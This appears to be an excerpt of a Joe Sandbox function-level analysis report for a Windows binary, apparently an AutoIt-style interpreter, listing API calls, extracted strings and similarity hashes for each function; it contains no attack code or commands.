String ID: *.*
API String ID: 4125642244-438819550
Opcode ID: 0b4a78bed0a1e3d67edb204e894bb16d3c88e8abde9262453b8d1c5fbae37bd8
Instruction ID: f4eb40b16b1536a11a1c91b12be6f547b9275cd787995c2624ccdba192e4961b
Opcode Fuzzy Hash: 0b4a78bed0a1e3d67edb204e894bb16d3c88e8abde9262453b8d1c5fbae37bd8
Instruction Fuzzy Hash: C2819122618A8296EB30EF25D840ABDABA0FB44BC4FC44036DA4E47795DF7CD567C760

Function 00007FF7978AA40C Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 188windowsleepCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32 ref: 00007FF7978AA4B8
SetMenuItemInfoW.USER32 ref: 00007FF7978AA4F0
Sleep.KERNEL32 ref: 00007FF7978AA503
GetMenuItemCount.USER32 ref: 00007FF7978AA549
GetMenuItemID.USER32 ref: 00007FF7978AA566
GetMenuItemID.USER32 ref: 00007FF7978AA58D
GetMenuItemID.USER32 ref: 00007FF7978AA5CB
CheckMenuRadioItem.USER32 ref: 00007FF7978AA610
GetMenuItemInfoW.USER32 ref: 00007FF7978AA62B
SetMenuItemInfoW.USER32 ref: 00007FF7978AA650

Strings

P, xrefs: 00007FF7978AA432

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep
String ID: P
API String ID: 1460738036-3110715001
Opcode ID: 4dd59e6d1558c8a6b3d6081974aba30fa7f71434e2b387c4c799af0a0850d775
Instruction ID: 4e5392590daec62e6fc1eb7e30525a5a2a98cd4c505afbf83a917a78fbbc45ad
Opcode Fuzzy Hash: 4dd59e6d1558c8a6b3d6081974aba30fa7f71434e2b387c4c799af0a0850d775
Instruction Fuzzy Hash: 34711322A0864256EB74FF749441ABDABA1BF847C8F944431DA4E47A81CF7CE467C721

Function 00007FF7978B3268 Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 135COMMON

Download Yara Rule

APIs

LoadStringW.USER32 ref: 00007FF7978B32C5
LoadStringW.USER32 ref: 00007FF7978B32EB
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7978B3433
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7978B344F

Strings

"%s" (%d) : ==> %s:%s%s, xrefs: 00007FF7978B341A
Line %d (File "%s"):, xrefs: 00007FF7978B3338
Error: , xrefs: 00007FF7978B33E1
"%s" (%d) : ==> %s:, xrefs: 00007FF7978B3441
Incorrect parameters to object property !, xrefs: 00007FF7978B33B0
^ ERROR , xrefs: 00007FF7978B339F

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: LoadStringwprintf
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
API String ID: 3297454147-3080491070
Opcode ID: 59800c54c1d345ecb424e2fcfa2246da67464ce5bbb623b99681ad9037b4dde3
Instruction ID: 7fda9a934673e2a1c5e037b2564923d268e415b03a3caa1fb74ece1f2825463c
Opcode Fuzzy Hash: 59800c54c1d345ecb424e2fcfa2246da67464ce5bbb623b99681ad9037b4dde3
Instruction Fuzzy Hash: 16618222B28A4296EB20FB34E8519EDA760FB947D4FC00032EA4D47A99DF7CE517C750

Function 00007FF7978A74B0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 128windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(000087FFFFFE03FF,00007FF79787EA7B,?,?,?,?,?,?,?), ref: 00007FF7978A74EA
LoadStringW.USER32 ref: 00007FF7978A7505
GetModuleHandleW.KERNEL32(?,?,?,?,?,?,?), ref: 00007FF7978A751A
LoadStringW.USER32 ref: 00007FF7978A752C
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7978A766D
MessageBoxW.USER32 ref: 00007FF7978A7685

Strings

Line %d:, xrefs: 00007FF7978A758D
Line %d (File "%s"):, xrefs: 00007FF7978A757F
^ ERROR, xrefs: 00007FF7978A75F2
Error: , xrefs: 00007FF7978A7623
%s (%d) : ==> %s: %s %s, xrefs: 00007FF7978A7650

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: HandleLoadModuleString$Messagewprintf
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 4051287042-2268648507
Opcode ID: 68b2247ec9c07577535dadd4f69f0712e57ab61aa0c6408de1f9cb681492f952
Instruction ID: dfe1d165a734fdcff1a3884528c1953dfec9721287dd3b42ae72b4baa5011d1b
Opcode Fuzzy Hash: 68b2247ec9c07577535dadd4f69f0712e57ab61aa0c6408de1f9cb681492f952
Instruction Fuzzy Hash: FE516E22B28A4291EB20FB74E8418EDA761FF947D4BC01032EA0D5769ADF7CD517C750

Function 00007FF7978AD4AC Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 65sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00007FF7978AD4B9
Sleep.KERNEL32 ref: 00007FF7978AD4D7
EnumThreadWindows.USER32 ref: 00007FF7978AD4FF
FindWindowExW.USER32 ref: 00007FF7978AD528
SetActiveWindow.USER32 ref: 00007FF7978AD54B
SendMessageW.USER32 ref: 00007FF7978AD55F

Part of subcall function 00007FF7978AB5D4: GetWindowThreadProcessId.USER32 ref: 00007FF7978AB608
Part of subcall function 00007FF7978AB5D4: GetCurrentThreadId.KERNEL32 ref: 00007FF7978AB610

SendMessageW.USER32 ref: 00007FF7978AD57F
Sleep.KERNEL32 ref: 00007FF7978AD58A
IsWindow.USER32 ref: 00007FF7978AD597
EndDialog.USER32 ref: 00007FF7978AD5AA

Part of subcall function 00007FF7978AB5D4: GetWindowThreadProcessId.USER32 ref: 00007FF7978AB5F0
Part of subcall function 00007FF7978AB5D4: GetCurrentThreadId.KERNEL32 ref: 00007FF7978AB5F8
Part of subcall function 00007FF7978AB5D4: AttachThreadInput.USER32 ref: 00007FF7978AB61D

Strings

BUTTON, xrefs: 00007FF7978AD51F

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Thread$Window$CurrentMessageProcessSendSleep$ActiveAttachDialogEnumFindInputTimeWindowstime
String ID: BUTTON
API String ID: 3935177441-3405671355
Opcode ID: f78108109216f5a9e13feac809e7b4bcbb9376684aa6c7b0e89a3c685e053ef5
Instruction ID: db3452933959c456c949975974b74e2d078298e377298fcb5d186eda98f86bbd
Opcode Fuzzy Hash: f78108109216f5a9e13feac809e7b4bcbb9376684aa6c7b0e89a3c685e053ef5
Instruction Fuzzy Hash: 5A314B21B09A0782FB34BB34E854B75AB61AF847D4FC64031D90E86694DF2CA4A78271

Function 00007FF7978315EC Relevance: 18.2, APIs: 12, Instructions: 191timeCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32 ref: 00007FF7978316C8
KillTimer.USER32 ref: 00007FF7978317A3
DestroyAcceleratorTable.USER32 ref: 00007FF797879AB2

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Destroy$AcceleratorKillTableTimerWindow
String ID:
API String ID: 1974058525-0
Opcode ID: 0ae01efd328c1abf4b21f20b8ee9207ae2ca8527ede716ab22c06984e821e5e4
Instruction ID: e796291141ae2bda3d942f52fd71187a7840d4d2da8ce571b5bd8ee1fbc8018e
Opcode Fuzzy Hash: 0ae01efd328c1abf4b21f20b8ee9207ae2ca8527ede716ab22c06984e821e5e4
Instruction Fuzzy Hash: 57913E21A0AA0285EB74BF79D850A78AB64FF84FD4FD84431C94E47759DF3CE4628360

Function 00007FF7978A2F78 Relevance: 18.2, APIs: 12, Instructions: 173COMMON

Download Yara Rule

APIs

GetDlgItem.USER32 ref: 00007FF7978A2FB1
GetWindowRect.USER32 ref: 00007FF7978A2FCD
MoveWindow.USER32 ref: 00007FF7978A3048
GetDlgItem.USER32 ref: 00007FF7978A3063
GetWindowRect.USER32 ref: 00007FF7978A3078
MoveWindow.USER32 ref: 00007FF7978A30E2
GetDlgItem.USER32 ref: 00007FF7978A30F4
GetWindowRect.USER32 ref: 00007FF7978A3109
MoveWindow.USER32 ref: 00007FF7978A315B
GetDlgItem.USER32 ref: 00007FF7978A3173
MoveWindow.USER32 ref: 00007FF7978A3198
InvalidateRect.USER32 ref: 00007FF7978A31AB

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: cd18a514988302620758944a1eb5a442a77522faab4df44982a6bd62bf806ab3
Instruction ID: 96c532b810a6be6fddea14677abcb91b04ed4811ff5a9f837117c2f3fd75de9e
Opcode Fuzzy Hash: cd18a514988302620758944a1eb5a442a77522faab4df44982a6bd62bf806ab3
Instruction Fuzzy Hash: 9D618472B046418BE728DF79E84496D7BE2BB88B84F508139DE0993F58DF3CD9568B10

Function 00007FF7978B4708 Relevance: 17.8, APIs: 3, Strings: 7, Instructions: 339COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32 ref: 00007FF7978B4795
GetDriveTypeW.KERNEL32 ref: 00007FF7978B4A03
wcscpy.LIBCMT ref: 00007FF7978B4AA7

Strings

unknown, xrefs: 00007FF7978B498F
cdrom, xrefs: 00007FF7978B47F7
network, xrefs: 00007FF7978B48EC
removable, xrefs: 00007FF7978B484A
fixed, xrefs: 00007FF7978B4890
ramdisk, xrefs: 00007FF7978B493F
all, xrefs: 00007FF7978B47A0

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: BuffCharDriveLowerTypewcscpy
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 1561581874-1000479233
Opcode ID: ef46e324cca21653e1380765f360d318f6eac9cdecb985703fecfcb3deabfef4
Instruction ID: 04a4d65b5f10826dca808c6664a4377a5c03e8bc00adbfb5a8826aca125b5fdd
Opcode Fuzzy Hash: ef46e324cca21653e1380765f360d318f6eac9cdecb985703fecfcb3deabfef4
Instruction Fuzzy Hash: 12D1F322E0869681EA30BB35D541979EBA0FF58BE4FC04231DA5D537A5DF3CE9678320

Function 00007FF79789FF44 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 243windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32 ref: 00007FF79789FFAC
SendMessageTimeoutW.USER32 ref: 00007FF7978A00C8
GetClassNameW.USER32 ref: 00007FF7978A013C
GetDlgCtrlID.USER32 ref: 00007FF7978A0193
GetWindowRect.USER32 ref: 00007FF7978A01B9
GetParent.USER32 ref: 00007FF7978A01D6
ScreenToClient.USER32 ref: 00007FF7978A01E6
GetClassNameW.USER32 ref: 00007FF7978A0281
GetWindowTextW.USER32 ref: 00007FF7978A02C1

Strings

%s%u, xrefs: 00007FF7978A0044

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout
String ID: %s%u
API String ID: 1412819556-679674701
Opcode ID: 471b516b84a7647fd4691574628735fa1d53b92c229bd2799b629a7d46638598
Instruction ID: 4066500016ae7b18032e6fa6e7825ea24e31086492c1273d35f595d07b41ee7a
Opcode Fuzzy Hash: 471b516b84a7647fd4691574628735fa1d53b92c229bd2799b629a7d46638598
Instruction Fuzzy Hash: E3B1C272B1868696EB2CAB35D844AF9AB61FB44BC4FC00031CA1D47785EF3DE566C710

Function 00007FF7978A176C Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 226COMMON

Download Yara Rule

APIs

GetClassNameW.USER32 ref: 00007FF7978A17DA
GetWindowTextW.USER32 ref: 00007FF7978A1815
CharUpperBuffW.USER32 ref: 00007FF7978A1833
wcsstr.LIBVCRUNTIME ref: 00007FF7978A1866
GetClassNameW.USER32 ref: 00007FF7978A189C
GetWindowTextW.USER32 ref: 00007FF7978A18D0
GetClassNameW.USER32 ref: 00007FF7978A191B
GetClassNameW.USER32 ref: 00007FF7978A1951
GetWindowRect.USER32 ref: 00007FF7978A19CF

Strings

ThumbnailClass, xrefs: 00007FF7978A18A7, 00007FF7978A1926

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: ClassName$Window$Text$BuffCharRectUpperwcsstr
String ID: ThumbnailClass
API String ID: 4010642439-1241985126
Opcode ID: 4089a0f050729c67d7336b45243c4151a1a91afee2041f579baef993fdf79b1a
Instruction ID: bc87ba08fc76853709abf7b8f3027a9de5bf164ee19356727e89b4bbb13e72e4
Opcode Fuzzy Hash: 4089a0f050729c67d7336b45243c4151a1a91afee2041f579baef993fdf79b1a
Instruction Fuzzy Hash: A4A17422B0864647EA38AB35D444AB9EB72FB857C4FC44035DA8E03A95DF3DF956CB10

Function 00007FF797831504 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 163windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(?,?,00000000,?,?,00007FF7978312EF), ref: 00007FF7978799AC
ExtractIconExW.SHELL32 ref: 00007FF7978799CD
LoadImageW.USER32 ref: 00007FF7978799EB
ExtractIconExW.SHELL32 ref: 00007FF797879A0C
SendMessageW.USER32 ref: 00007FF797879A2F
DestroyIcon.USER32 ref: 00007FF797879A3E
SendMessageW.USER32 ref: 00007FF797879A64
DestroyIcon.USER32 ref: 00007FF797879A73

Strings

P, xrefs: 00007FF7978799D3

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend
String ID: P
API String ID: 1268354404-3110715001
Opcode ID: 02435e4ac2fd25411414f443f70b9a64b2fb5eec06818f208819b822860aaaf9
Instruction ID: be3c37bfd0c47c9febb8bd3f7cbfc3bc6243055c3ad283336b017432345cfcf9
Opcode Fuzzy Hash: 02435e4ac2fd25411414f443f70b9a64b2fb5eec06818f208819b822860aaaf9
Instruction Fuzzy Hash: A0619235A09A428AEB34BF39D840A79AB90FF84BD8F940536DD4E47B58DF3CE4528750

Function 00007FF7978B34E4 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 149COMMON

Download Yara Rule

APIs

LoadStringW.USER32 ref: 00007FF7978B354D
LoadStringW.USER32 ref: 00007FF7978B3571
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7978B36CB
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7978B36E7

Strings

"%s" (%d) : ==> %s:%s%s, xrefs: 00007FF7978B36B2
Line %d (File "%s"):, xrefs: 00007FF7978B35C0
^ ERROR, xrefs: 00007FF7978B364A
Error: , xrefs: 00007FF7978B367B
"%s" (%d) : ==> %s:, xrefs: 00007FF7978B36D9

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: LoadStringwprintf
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 3297454147-2391861430
Opcode ID: 4bdd4d368305ed2511e7c9b5f66333011c7442f4138e402f4b5ca8b6273d0e40
Instruction ID: 128a83a797215794be0f3241284d974ca92d472a5de5603e3a7a2e01413758c0
Opcode Fuzzy Hash: 4bdd4d368305ed2511e7c9b5f66333011c7442f4138e402f4b5ca8b6273d0e40
Instruction Fuzzy Hash: 04716122B28A5296EB20FB75D4418EDAB20FB847D4FC01032EA1D07A99DF7CE517C750

Function 00007FF79789C034 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 124registryshareCOMMON

Download Yara Rule

APIs

WNetAddConnection2W.MPR ref: 00007FF79789C143
RegConnectRegistryW.ADVAPI32 ref: 00007FF79789C164
RegOpenKeyExW.ADVAPI32 ref: 00007FF79789C193
RegQueryValueExW.ADVAPI32 ref: 00007FF79789C1CD
CLSIDFromString.OLE32 ref: 00007FF79789C1F4
RegCloseKey.ADVAPI32 ref: 00007FF79789C203
RegCloseKey.ADVAPI32 ref: 00007FF79789C20E

Strings

\CLSID, xrefs: 00007FF79789C0A6
\IPC$, xrefs: 00007FF79789C118
SOFTWARE\Classes\, xrefs: 00007FF79789C088

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 3030280669-22481851
Opcode ID: a4a03563eba47bf7a6bc45b00431da315f02e209d49ab1ef43027d618f4c2dd1
Instruction ID: 338020de2838886c11344f6aaf58be475db0b2113c5a121ca5bd111493f13cb9
Opcode Fuzzy Hash: a4a03563eba47bf7a6bc45b00431da315f02e209d49ab1ef43027d618f4c2dd1
Instruction Fuzzy Hash: 6951B622718A8295EB60FB79E8949EDAB60FB943D4F800031EA0D47A69EF3CD557C710

Function 00007FF7978B3E20 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 97fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32 ref: 00007FF7978B3E61
CreateDirectoryW.KERNEL32 ref: 00007FF7978B3EB2
CreateFileW.KERNEL32 ref: 00007FF7978B3EE4
RemoveDirectoryW.KERNEL32 ref: 00007FF7978B3EF6
DeviceIoControl.KERNEL32 ref: 00007FF7978B3FA5
CloseHandle.KERNEL32 ref: 00007FF7978B3FB2
CloseHandle.KERNEL32 ref: 00007FF7978B3FBD

Strings

\, xrefs: 00007FF7978B3E97
:, xrefs: 00007FF7978B3E9F
\??\%s, xrefs: 00007FF7978B3E79

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove
String ID: :$\$\??\%s
API String ID: 3827137101-3457252023
Opcode ID: c042ec0e4a157b4915e6cbee2efc7bd563a20e0e85c4cf7d435b60959deae5d8
Instruction ID: 548c9e38dc521171d895020ac9d69a8fb4bc5c5be9ea960417f3be76fe8c5f7c
Opcode Fuzzy Hash: c042ec0e4a157b4915e6cbee2efc7bd563a20e0e85c4cf7d435b60959deae5d8
Instruction Fuzzy Hash: 34416D2261868385E730AB71E804AFDA7A0FF85798F940136DA4D47FA8DF7CD6678710

Function 00007FF79789C5FC Relevance: 16.7, APIs: 11, Instructions: 166COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79789CD34: GetUserObjectSecurity.USER32 ref: 00007FF79789CD65
Part of subcall function 00007FF79789CD34: GetLastError.KERNEL32(?,?,?,?,00000000,00007FF79789C65A), ref: 00007FF79789CD71
Part of subcall function 00007FF79789CD34: GetUserObjectSecurity.USER32 ref: 00007FF79789CD9C

Part of subcall function 00007FF79789CE28: InitializeSecurityDescriptor.ADVAPI32(?,?,00000000,00007FF79789C66F), ref: 00007FF79789CE4D

GetSecurityDescriptorDacl.ADVAPI32 ref: 00007FF79789C68B
GetAclInformation.ADVAPI32 ref: 00007FF79789C6C5
GetLengthSid.ADVAPI32 ref: 00007FF79789C6D6
GetAce.ADVAPI32 ref: 00007FF79789C714
AddAce.ADVAPI32 ref: 00007FF79789C73B
GetLengthSid.ADVAPI32 ref: 00007FF79789C753
GetLengthSid.ADVAPI32 ref: 00007FF79789C776
CopySid.ADVAPI32 ref: 00007FF79789C785
AddAce.ADVAPI32 ref: 00007FF79789C7CB
SetSecurityDescriptorDacl.ADVAPI32 ref: 00007FF79789C7EE
SetUserObjectSecurity.USER32 ref: 00007FF79789C803

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Security$DescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 1255039815-0
Opcode ID: 5c88d37276b46e33d2a1e391526b812f5276439b55f88bb912c7bbc104166e1e
Instruction ID: 92a49d26df7ef5e1f771d771e8b1f89b824529acea253526eece105461e1d3cc
Opcode Fuzzy Hash: 5c88d37276b46e33d2a1e391526b812f5276439b55f88bb912c7bbc104166e1e
Instruction Fuzzy Hash: 96618F22B1465186EB20EF71D8489ACBBB4FF44BC8B848035DE1E53B95DF39E556C360

Function 00007FF7978A7BA0 Relevance: 16.6, APIs: 11, Instructions: 106keyboardCOMMON

Download Yara Rule

APIs

